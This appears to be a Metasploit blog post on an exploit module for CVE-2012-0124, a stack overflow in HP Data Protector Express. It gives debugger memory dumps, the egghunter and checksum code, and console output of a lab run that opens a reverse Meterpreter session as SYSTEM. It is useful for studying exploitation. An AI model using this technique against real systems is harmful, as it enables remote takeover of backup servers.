Last updated at Wed, 27 Sep 2017 13:51:03 GMT

Recently, we added a module for CVE-2012-0124 which exploits a stack buffer overflow flaw in the backup management component of HP Data Protector Express. The overflow occurs during the creation of new folders, and allows an authenticated user on HP Data Protector Express to execute arbitrary code with SYSTEM privileges on Windows platforms.  We figured this is a nice opportunity to demonstrate a good egghunter scenario.

The following is the code responsible of the buffer overflow:

This function has these two important arguments in pointers: src_arg_0 and dst_arg_4 and copies data from src_arg_0 to dst_arg_4 in the following way:

  • The src_arg_0 buffer is split in blocks of: 55 bytes (first block) and 483 bytes (rest of the blocks).
  • The dst_arg_4 buffer is split in blocks of 512 bytes.
  • The first block of src_arg_0 (55 bytes) is copied to the last 55 bytes of the first block of dst_arg_4.
  • The rest of the blocks of src_arg_0 (483 bytes every one) are copied to the offset 0x1C (28) of the blocks of dst_arg_4.

If we breakpoint at the vulnerable function, and dump ESP, we can see these arguments:

Breakpoint 0 hit
eax=0393f27c ebx=01aa54d4 ecx=01aa5600 edx=0393f264 esi=0393fac4 edi=01aa54e8
eip=0155cd40 esp=0393f244 ebp=0393fe38 iopl=0        nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000            efl=00000216
dpwindtb!DtbClsGetFixedObjectId+0x49e5f:
0155cd40 51              push    ecx
0:020> dd /c1 esp l3
0393f244  0151c154 ; ret
0393f248  01aa5600 ; srg_arg_0
0393f24c  0393f27c ; dst_arg_4

We see that the source buffer (srg_arg_0) is stored in the address 0x01aa5600 on the heap:

0:020> !address 01aa5600

Usage:                  Heap
Base Address:           019f7000
End Address:            01aaa000
Region Size:            000b3000
State:                  00001000 MEM_COMMIT
Protect:                00000004 PAGE_READWRITE
Type:                   00020000 MEM_PRIVATE
Allocation Base:        01980000
Allocation Protect:     00000004 PAGE_READWRITE
More info:              heap owning the address: !heap 0x620000
More info:              heap segment
More info:              heap entry containing the address: !heap -x 0x1aa5600

The source buffer also contains the user-supplied folder name.  As the following shows we've located our string "w00tw00t", which will be used as our "egg" later on:

0:020> db 01aa5600 L10
01aa5600  77 30 30 74 77 30 30 74-db ca bb 28 f1 f8 8f d9  w00tw00t...(....

The folder name is going to be copied to the destination buffer at address 0x0393f27, which is on the stack:

0:020> !address 0393f27c

Usage:                  Stack
Base Address:           03930000
End Address:            03940000
Region Size:            00010000
State:                  00001000 MEM_COMMIT
Protect:                00000004 PAGE_READWRITE
Type:                   00020000 MEM_PRIVATE
Allocation Base:        03840000
Allocation Protect:     00000004 PAGE_READWRITE
More info:              ~20k

If we debug the vulnerable function, we can confirm our static analysis. The first 55 bytes of src_arg_0 are copied to the end of the first block (512 bytes) of the dst_arg_4 buffer:

0:020> db 0393f27c L200
0393f27c  01 00 11 67 00 00 00 00-00 00 00 00 00 00 00 00  ...g............
0393f28c  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0393f29c  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0393f2ac  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0393f2bc  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0393f2cc  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0393f2dc  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0393f2ec  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0393f2fc  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0393f30c  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0393f31c  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0393f32c  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0393f33c  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0393f34c  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0393f35c  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0393f36c  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0393f37c  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0393f38c  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0393f39c  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0393f3ac  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0393f3bc  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0393f3cc  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0393f3dc  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0393f3ec  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0393f3fc  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0393f40c  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0393f41c  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0393f42c  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0393f43c  00 00 00 00 00 00 00 00-77 30 30 74 77 30 30 74  ........w00tw00t
0393f44c  db ca bb 28 f1 f8 8f d9-74 24 f4 5a 2b c9 b1 49  ...(....t$.Z+..I
0393f45c  83 c2 04 31 5a 15 03 5a-15 ca 04 04 67 83 e7 f5  ...1Z..Z....g...
0393f46c  78 f3 6e 10 49 21 14 50-f8 f5 5e 34 f1 7e 32 00  x.n.I!.P..^4.~2.

The second block of the src_arg_0 buffer (483 bytes) are copied to the offset 0x1C of the second block (512 bytes) of dst_arg_4:

0:020> db 0393f27c+200 L200
0393f47c  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0393f48c  00 00 00 00 00 00 00 00-00 00 00 00 ad 82 f2 9b  ................
0393f49c  c2 23 b8 fd ed b4 0d c2-a2 77 0c be b8 ab ee ff  .#.......w......
0393f4ac  72 be ef 38 6e 31 bd 91-e4 e0 51 95 b9 38 50 79  r..8n1....Q..8Py
0393f4bc  b6 01 2a fc 09 f5 80 ff-59 a6 9f 48 42 cc c7 68  ..*.....Y..HB..h
0393f4cc  73 01 14 54 3a 2e ee 2e-bd e6 3f ce 8f c6 93 f1  s..T:.....?.....
0393f4dc  3f cb ea 36 87 34 99 4c-fb c9 99 96 81 15 2c 0b  ?..6.4.L......,.
0393f4ec  21 dd 96 ef d3 32 40 7b-df ff 07 23 fc fe c4 5f  !....2@{...#..._
0393f4fc  f8 8b eb 8f 88 c8 cf 0b-d0 8b 6e 0d bc 7a 8f 4d  ..........n..z.M
0393f50c  18 22 35 05 8b 37 4f 44-c4 f4 7d 77 14 93 f6 04  ."5..7OD..}w....
0393f51c  26 3c ac 82 0a b5 6a 54-6c ec ca ca 93 0f 2a c2  &.a...%.
0393f5ec  f7 d4 bf 52 08 bf ae 67-90 02 f0 21 27 89 af 65  ...R...g...!'..e
0393f5fc  70 0e 13 91 cf 35 f1 57-d9 f5 7d 0c 60 93 12 95  p....5.W..}.`...
0393f60c  f1 04 8f 30 74 c4 d3 73-b4 a6 59 13 a9 ba 50 d5  ...0t..s..Y...P.
0393f61c  3b f9 ac f0 df 12 b1 f5-ac 04 17 37 c2 0d b2 0d  ;..........7....
0393f62c  9c 3b f8 cc 1a bf 7a a8-83 58 66 04 07 9e fb 23  .;....z..Xf....#
0393f63c  da d0 bf 9b 0e 20 f9 32-ce 69 57 fc 59 68 ab c8  ..... .2.iW.Yh..
0393f64c  fb 1a 5e d6 3c b7 9c b9-20 67 2a fe d7 e0 49 c0  ..^.

The same applies for the third block and the following:

0:020> db 0393f27c+400 L200
0393f67c  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0393f68c  00 00 00 00 00 00 00 00-00 00 00 00 75 77 af d7  ............uw..
0393f69c  93 19 6e 1b e2 ba ad cb-fa b3 78 73 7d e1 86 e8  ..n.......xs}...
0393f6ac  97 1a de 0d 24 dd 8e 15-e1 48 cd 53 35 f0 30 95  ....$....H.S5.0.
0393f6bc  94 68 fd 7d 75 65 ed 69-6b 58 40 bf 26 ef ec c6  .h.}ue.ikX@.&...
0393f6cc  62 7a d0 1b 8b ba 43 53-1b 98 b5 92 b4 18 80 22  bz....CS......."
0393f6dc  01 7f be 69 38 d1 ad 58-d2 d8 a0 29 67 da d1 04  ...i8..X...)g...
0393f6ec  14 56 3d a2 25 c4 53 63-51 52 88 50 bc 97 d5 32  .V=.%.ScQR.P...2
0393f6fc  88 fd 69 27 44 c7 d9 14-33 c8 55 fc 49 f8 f1 5a  ..i'D...3.U.I..Z
0393f70c  ba eb a2 5a a1 71 02 0f-63 c4 bd 74 3a a5 12 8e  ...Z.q..c..t:...
0393f71c  5b ed e9 98 8b 8d df 79-4f 06 9a 98 72 a0 4f 79  [......yO...r.Oy
0393f72c  46 3d 79 c4 c1 c3 80 e7-57 d9 dd e0 be e6 ab 3d  F=y.....W......=
0393f73c  ee 8f ff a0 84 5a 57 07-7a 41 81 5a 45 51 01 b3  .....ZW.zA.ZEQ..
0393f74c  76 6c c7 e1 d4 21 72 76-0f 39 b9 96 5f 7b dc 5b  vl...!rv.9.._{.[
0393f75c  57 78 2a 9d 5f 3f 08 5a-09 ac a9 a8 44 6d 53 f7  Wx*._?.Z....DmS.
0393f76c  38 9e 3f 26 45 e2 02 42-98 ba ae c9 fe 0f df be  8.?&E..B........
0393f77c  cc 65 6c fb 1e 9d f5 41-c6 57 15 d9 f8 ad 6d ba  .el....A.W....m.
0393f78c  c1 f9 67 e8 02 7e f4 90-58 f3 51 58 79 ad e5 3c  ..g..~..X.QXy..<
0393f79c  28 0e 63 78 43 10 c3 3e-ec 01 77 51 2a bf e2 21  (.cxC..>..wQ*..!
0393f7ac  ef ad b3 7c 3e 86 f3 10-4f af 13 93 e7 ec ce f7  ...|>...O.......
0393f7bc  3a b7 79 8b e2 41 35 35-35 9c b2 4a c1 7f 02 c0  :.y..A555..J....
0393f7cc  60 8e 8c 60 5a eb e5 4b-ef 87 4b e2 17 0c ae 20  `..`Z..K..K....
0393f7dc  8c 23 7b e5 fc 67 01 24-52 7a 09 32 43 5e 7f 33  .#{..g.$Rz.2C^.3
0393f7ec  c1 27 d8 1f 57 3b b7 95-b7 49 68 a1 cf 6e d2 98  .'..W;...Ih..n..
0393f7fc  a4 5a ea e6 71 14 18 ff-43 c4 76 ed 51 dc ec 42  .Z..q...C.v.Q..B
0393f80c  e4 7a f8 34 3e 4e 4a b9-b2 c0 7b 9c 14 4c 07 48  .z.4>NJ...{..L.H
0393f81c  0b 45 f0 c2 a3 4e 06 fc-28 cb c4 05 94 1f c6 61  .E...N..(......a
0393f82c  19 6a 84 d6 a6 70 fb d2-ab 5b 13 4c f4 91 39 e2  .j...p...[.L..9.
0393f83c  03 79 7d bc 88 8b 13 a3-fd d1 ef 9a 5d f7 16 28  .y}.........]..(
0393f84c  39 cc a8 f4 d5 7b 9a 3e-86 2e 4e 04 a3 8e 6c c5  9....{.>..N...l.
0393f85c  d9 f9 e2 a4 15 4c 52 a3-e0 76 37 e6 7e 78 8c 67  .....LR..v7.~x.g
0393f86c  7a 4b 8c 52 fc 01 81 8b-0a 55 e6 6e 96 0d c2 00  zK.R.....U.n....

As you can see, the data stored on the stack isn't a good place to store the payload because it's all broken into pieces.  Fortunately for us, the same complete data can also be found on the heap, which is ideal for deploying an egghunter.  Our strategy here first is to store the small-sized hunter on the stack (EIP will be redirect there), and search the egg (payload) in the good copy of the data stored in the heap.

But, as you remember, after the overflow there are at least two versions of the payload in the memory: One is stored on the heap, and the other is corruped stored on the stack. If the hunter doesn't find the good version first, it can result a crash.  Luckily, the egghunter code also supports a checksum feature, which allows the exploit to verify the integrity of the payload before executing it.

In order to use egghunting in a exploit the Msf::Exploit::Remote::Egghunter mixin must be included and the Msf::Exploit::Remote::Egghunter.generate_egghunter api can be used to generate the hunter and the egg. The function prototype is:

#  
# Generates an egghunter stub based on the current target's architecture  
# and operating system.  
#  
def generate_egghunter(payload, badchars = nil, opts = {})  

The opts hash allows these keys, among others:

  • :eggtag: Optional.  An 8-byte tag that allows the hunter to identify and locate the payload.
  • :checksum: Optional. A boolean that enables dijital1's checksum feature.

In an exploit, the generate_egghunter function can be used like so:

hunter,egg = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true, :eggtag => 'w00t' })  

Since the magic lies within the checksum option, I'll explain more about it in detail. The code that generates it can be reviewed in Rex::Exploitation::Egghunter.generate(). The checksum is a byte storing the sum of the bytes of the payload. This checksum is stored just after the payload (egg):

if opts[:checksum]  
  cksum = 0  
  payload.each_byte { |b|  
  cksum += b  
  }  
  egg << [cksum & 0xff].pack('C')  
end  

The checksum test assembler, which is included in the hunter, can be found on the Rex::Exploitation::Egghunter.checksum_stub() protected method and is something like the next assembler (from a windbg debug session):

0393ffc2 51              push    ecx
0393ffc3 31c9            xor    ecx,ecx ; ecx := 0 , ecx counters allows to iterate through the data found
0393ffc5 31c0            xor    eax,eax ; eax := 0 , eax stores the checksum calculation
0393ffc7 02040f          add    al,byte ptr [edi+ecx] ; edi points to the start of the payload.encoded, checksum calculation is updated in al
0393ffca 41              inc    ecx
0393ffcb 6681f93d01      cmp    cx,13Dh ; 13D := length(payload.encoded)
0393ffd0 75f5            jne    0393ffc7
0393ffd2 3a040f          cmp    al,byte ptr [edi+ecx]; checksum stored at the end of the payload.encoded is compared with the calculation stored in al
0393ffd5 59              pop    ecx
0393ffd6 75d1            jne    0393ffa9 ; if calculate and stored checksum doesn't match find another eggtag in memory

As a result, this awesome checksum function gives us a reliable egghunting for the HP Data Protector exploit, in exchange for some additional bytes in the egghunter, of course. The result:


  
msf > use exploit/windows/misc/hp_dataprotector_new_folder 
msf  exploit(hp_dataprotector_new_folder) > set RHOST 192.168.1.147
RHOST => 192.168.1.147
msf  exploit(hp_dataprotector_new_folder) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.1.157:4444 
[*] 192.168.1.147:3817 - Sending Hello Request
[*] 192.168.1.147:3817 - Sending Authentication Request
[*] 192.168.1.147:3817 - Sending Token Request
[*] 192.168.1.147:3817 - Sending Home Identifier Request
[*] 192.168.1.147:3817 - Sending Home Contents Request
[*] 192.168.1.147:3817 - Sending Create Object Request
[*] Sending stage (752128 bytes) to 192.168.1.147
[*] Meterpreter session 1 opened (192.168.1.157:4444 -> 192.168.1.147:1044) at 2012-07-02 12:11:24 +0200

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > getpid
Current pid: 592
meterpreter > ps

Process List
============

 PID   PPID  Name               Arch  Session     User                           Path
 ---   ----  ----               ----  -------     ----                           ----
 .
 .
 .
 592   680   dpwinsdr.exe       x86   0           NT AUTHORITY\SYSTEM            C:\Program Files\HP\Data Protector Express\win\x86\dpwinsdr.exe
 .
 .
 .

As always if you would like to try out this new module, get your free Metasploit download now or update your existing installation.